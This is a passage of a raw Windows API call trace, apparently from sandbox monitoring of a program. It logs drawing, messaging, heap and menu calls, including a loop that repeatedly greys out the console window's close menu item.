[0127.660] CreateCompatibleDC (hdc=0x601015d) returned 0x50106db [0127.660] CreateDIBSection (in: hdc=0x0, lpbmi=0x18ed98, usage=0x0, ppvBits=0x18ed90, hSection=0x0, offset=0x0 | out: ppvBits=0x18ed90) returned 0x0 [0127.660] GetCurrentObject (hdc=0x50106db, type=0x7) returned 0x185000f [0127.660] SelectObject (hdc=0x50106db, h=0x0) returned 0x0 [0127.660] ReleaseDC (hWnd=0x0, hDC=0x601015d) returned 1 [0127.660] GetClientRect (in: hWnd=0x0, lpRect=0x18ec30 | out: lpRect=0x18ec30) returned 0 [0127.660] SetScrollInfo (hwnd=0x0, nBar=0, lpsi=0x18ec14, redraw=1) returned 0 [0127.660] SetScrollInfo (hwnd=0x0, nBar=1, lpsi=0x18ec14, redraw=1) returned 0 [0127.660] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f0 | out: hHeap=0x3d0000) returned 1 [0127.660] PtInRect (lprc=0x18e874, pt=0x0) returned 0 [0127.660] VarDateFromI4 (in: lIn=0, pdateOut=0x18e888 | out: pdateOut=0x18e888) returned 0x0 [0127.660] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.660] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.660] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.661] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SendMessageA (hWnd=0x0, Msg=0x101d, wParam=0x3, lParam=0x0) returned 0x0 [0127.662] SetScrollPos (hWnd=0x0, nBar=1197974244, nPos=2789890, bRedraw=1) returned 0 [0127.662] VarDateFromR4 (in: fltIn=0x0, pdateOut=0x18e888 | out: pdateOut=0x18e888) returned 0x0 [0127.662] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f0 [0127.662] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20) returned 0x3de0b8 [0127.662] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de0e0 [0127.662] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3d2d10 [0127.662] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0e0 | out: hHeap=0x3d0000) returned 1 [0127.662] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3d2d10 | out: hHeap=0x3d0000) returned 1 [0127.662] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0127.662] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f0 | out: hHeap=0x3d0000) returned 1 [0127.662] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f0 [0127.662] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x20) returned 0x3de0b8 [0127.662] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de0e0 [0127.662] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="LSIDcomposite") returned 0x168 [0127.662] GetCursorPos (in: lpPoint=0x18e858 | out: lpPoint=0x18e858*(x=964, y=496)) returned 1 [0127.663] GetConsoleWindow () returned 0x0 [0127.663] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.663] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.663] DrawMenuBar (hWnd=0x0) returned 0 [0127.663] GetConsoleWindow () returned 0x0 [0127.663] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.663] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.663] DrawMenuBar (hWnd=0x0) returned 0 [0127.663] GetConsoleWindow () returned 0x0 [0127.663] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.663] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.663] DrawMenuBar (hWnd=0x0) returned 0 [0127.663] GetConsoleWindow () returned 0x0 [0127.663] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.663] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.663] DrawMenuBar (hWnd=0x0) returned 0 [0127.663] GetConsoleWindow () returned 0x0 [0127.663] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.663] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.663] DrawMenuBar (hWnd=0x0) returned 0 [0127.663] GetConsoleWindow () returned 0x0 [0127.663] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.663] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.663] DrawMenuBar (hWnd=0x0) returned 0 [0127.663] GetConsoleWindow () returned 0x0 [0127.663] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.663] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.663] DrawMenuBar (hWnd=0x0) returned 0 [0127.663] GetConsoleWindow () returned 0x0 [0127.663] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.663] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.663] DrawMenuBar (hWnd=0x0) returned 0 [0127.663] GetConsoleWindow () returned 0x0 [0127.663] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.663] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.663] DrawMenuBar (hWnd=0x0) returned 0 [0127.663] GetConsoleWindow () returned 0x0 [0127.663] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.664] DrawMenuBar (hWnd=0x0) returned 0 [0127.664] GetConsoleWindow () returned 0x0 [0127.664] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.664] DrawMenuBar (hWnd=0x0) returned 0 [0127.664] GetConsoleWindow () returned 0x0 [0127.664] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.664] DrawMenuBar (hWnd=0x0) returned 0 [0127.664] GetConsoleWindow () returned 0x0 [0127.664] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.664] DrawMenuBar (hWnd=0x0) returned 0 [0127.664] GetConsoleWindow () returned 0x0 [0127.664] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.664] DrawMenuBar (hWnd=0x0) returned 0 [0127.664] GetConsoleWindow () returned 0x0 [0127.664] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.664] DrawMenuBar (hWnd=0x0) returned 0 [0127.664] GetConsoleWindow () returned 0x0 [0127.664] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.664] DrawMenuBar (hWnd=0x0) returned 0 [0127.664] GetConsoleWindow () returned 0x0 [0127.664] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.664] DrawMenuBar (hWnd=0x0) returned 0 [0127.664] GetConsoleWindow () returned 0x0 [0127.664] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.664] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.664] DrawMenuBar (hWnd=0x0) returned 0 [0127.664] GetConsoleWindow () returned 0x0 [0127.664] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.665] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.665] DrawMenuBar (hWnd=0x0) returned 0 [0127.665] GetConsoleWindow () returned 0x0 [0127.665] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.665] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.665] DrawMenuBar (hWnd=0x0) returned 0 [0127.665] GetConsoleWindow () returned 0x0 [0127.665] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.665] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.665] DrawMenuBar (hWnd=0x0) returned 0 [0127.665] GetConsoleWindow () returned 0x0 [0127.665] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.665] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.665] DrawMenuBar (hWnd=0x0) returned 0 [0127.666] GetConsoleWindow () returned 0x0 [0127.666] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.666] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.666] DrawMenuBar (hWnd=0x0) returned 0 [0127.666] GetConsoleWindow () returned 0x0 [0127.666] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.666] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.666] DrawMenuBar (hWnd=0x0) returned 0 [0127.666] GetConsoleWindow () returned 0x0 [0127.666] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.666] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.666] DrawMenuBar (hWnd=0x0) returned 0 [0127.666] GetConsoleWindow () returned 0x0 [0127.666] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.666] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.666] DrawMenuBar (hWnd=0x0) returned 0 [0127.666] GetConsoleWindow () returned 0x0 [0127.666] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.666] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.666] DrawMenuBar (hWnd=0x0) returned 0 [0127.666] GetConsoleWindow () returned 0x0 [0127.666] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.666] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.666] DrawMenuBar (hWnd=0x0) returned 0 [0127.666] GetConsoleWindow () returned 0x0 [0127.666] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.666] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.666] DrawMenuBar (hWnd=0x0) returned 0 [0127.666] GetConsoleWindow () returned 0x0 [0127.666] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.666] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.666] DrawMenuBar (hWnd=0x0) returned 0 [0127.666] GetConsoleWindow () returned 0x0 [0127.666] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.666] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.667] DrawMenuBar (hWnd=0x0) returned 0 [0127.667] GetConsoleWindow () returned 0x0 [0127.667] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.667] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.667] DrawMenuBar (hWnd=0x0) returned 0 [0127.667] GetConsoleWindow () returned 0x0 [0127.667] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.667] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.667] DrawMenuBar (hWnd=0x0) returned 0 [0127.667] GetConsoleWindow () returned 0x0 [0127.667] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.667] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.667] DrawMenuBar (hWnd=0x0) returned 0 [0127.667] GetConsoleWindow () returned 0x0 [0127.667] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.667] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.667] DrawMenuBar (hWnd=0x0) returned 0 [0127.667] GetConsoleWindow () returned 0x0 [0127.667] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.667] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.667] DrawMenuBar (hWnd=0x0) returned 0 [0127.667] GetConsoleWindow () returned 0x0 [0127.667] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.667] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.667] DrawMenuBar (hWnd=0x0) returned 0 [0127.667] GetConsoleWindow () returned 0x0 [0127.667] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.668] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.668] DrawMenuBar (hWnd=0x0) returned 0 [0127.668] GetConsoleWindow () returned 0x0 [0127.668] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.668] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.668] DrawMenuBar (hWnd=0x0) returned 0 [0127.668] GetConsoleWindow () returned 0x0 [0127.668] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.668] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.668] DrawMenuBar (hWnd=0x0) returned 0 [0127.668] GetConsoleWindow () returned 0x0 [0127.668] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.668] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.668] DrawMenuBar (hWnd=0x0) returned 0 [0127.668] GetConsoleWindow () returned 0x0 [0127.668] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.668] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.668] DrawMenuBar (hWnd=0x0) returned 0 [0127.668] GetConsoleWindow () returned 0x0 [0127.668] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.668] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.668] DrawMenuBar (hWnd=0x0) returned 0 [0127.668] GetConsoleWindow () returned 0x0 [0127.668] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.668] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.668] DrawMenuBar (hWnd=0x0) returned 0 [0127.668] GetConsoleWindow () returned 0x0 [0127.668] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.668] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.668] DrawMenuBar (hWnd=0x0) returned 0 [0127.668] GetConsoleWindow () returned 0x0 [0127.668] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.668] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.668] DrawMenuBar (hWnd=0x0) returned 0 [0127.668] GetConsoleWindow () returned 0x0 [0127.668] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.668] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.668] DrawMenuBar (hWnd=0x0) returned 0 [0127.668] GetConsoleWindow () returned 0x0 [0127.669] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.669] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.669] DrawMenuBar (hWnd=0x0) returned 0 [0127.669] GetConsoleWindow () returned 0x0 [0127.669] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.669] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.669] DrawMenuBar (hWnd=0x0) returned 0 [0127.669] GetConsoleWindow () returned 0x0 [0127.669] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.669] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.669] DrawMenuBar (hWnd=0x0) returned 0 [0127.669] GetConsoleWindow () returned 0x0 [0127.669] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.669] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.669] DrawMenuBar (hWnd=0x0) returned 0 [0127.669] GetConsoleWindow () returned 0x0 [0127.669] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.669] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.669] DrawMenuBar (hWnd=0x0) returned 0 [0127.669] GetConsoleWindow () returned 0x0 [0127.669] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.669] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.669] DrawMenuBar (hWnd=0x0) returned 0 [0127.669] GetConsoleWindow () returned 0x0 [0127.669] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.669] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.669] DrawMenuBar (hWnd=0x0) returned 0 [0127.669] GetConsoleWindow () returned 0x0 [0127.669] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.669] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.669] DrawMenuBar (hWnd=0x0) returned 0 [0127.669] GetConsoleWindow () returned 0x0 [0127.669] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.669] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.669] DrawMenuBar (hWnd=0x0) returned 0 [0127.669] GetConsoleWindow () returned 0x0 [0127.669] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.669] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.669] DrawMenuBar (hWnd=0x0) returned 0 [0127.669] GetConsoleWindow () returned 0x0 [0127.669] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.669] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.669] DrawMenuBar (hWnd=0x0) returned 0 [0127.670] GetConsoleWindow () returned 0x0 [0127.670] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.670] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.670] DrawMenuBar (hWnd=0x0) returned 0 [0127.670] GetConsoleWindow () returned 0x0 [0127.670] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.670] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.670] DrawMenuBar (hWnd=0x0) returned 0 [0127.670] GetConsoleWindow () returned 0x0 [0127.670] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.670] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.670] DrawMenuBar (hWnd=0x0) returned 0 [0127.670] GetConsoleWindow () returned 0x0 [0127.670] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.670] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.670] DrawMenuBar (hWnd=0x0) returned 0 [0127.670] GetConsoleWindow () returned 0x0 [0127.670] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.670] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.670] DrawMenuBar (hWnd=0x0) returned 0 [0127.670] GetConsoleWindow () returned 0x0 [0127.670] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.670] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.670] DrawMenuBar (hWnd=0x0) returned 0 [0127.670] GetConsoleWindow () returned 0x0 [0127.670] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.670] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.670] DrawMenuBar (hWnd=0x0) returned 0 [0127.670] GetConsoleWindow () returned 0x0 [0127.670] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.670] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.670] DrawMenuBar (hWnd=0x0) returned 0 [0127.670] GetConsoleWindow () returned 0x0 [0127.670] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.670] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.670] DrawMenuBar (hWnd=0x0) returned 0 [0127.670] GetConsoleWindow () returned 0x0 [0127.670] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.670] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.670] DrawMenuBar (hWnd=0x0) returned 0 [0127.670] GetConsoleWindow () returned 0x0 [0127.670] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.670] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.670] DrawMenuBar (hWnd=0x0) returned 0 [0127.671] GetConsoleWindow () returned 0x0 [0127.671] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.671] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.671] DrawMenuBar (hWnd=0x0) returned 0 [0127.671] GetConsoleWindow () returned 0x0 [0127.671] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.671] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.671] DrawMenuBar (hWnd=0x0) returned 0 [0127.671] GetConsoleWindow () returned 0x0 [0127.671] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.671] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.671] DrawMenuBar (hWnd=0x0) returned 0 [0127.671] GetConsoleWindow () returned 0x0 [0127.671] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.671] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.671] DrawMenuBar (hWnd=0x0) returned 0 [0127.671] GetConsoleWindow () returned 0x0 [0127.671] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.671] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.671] DrawMenuBar 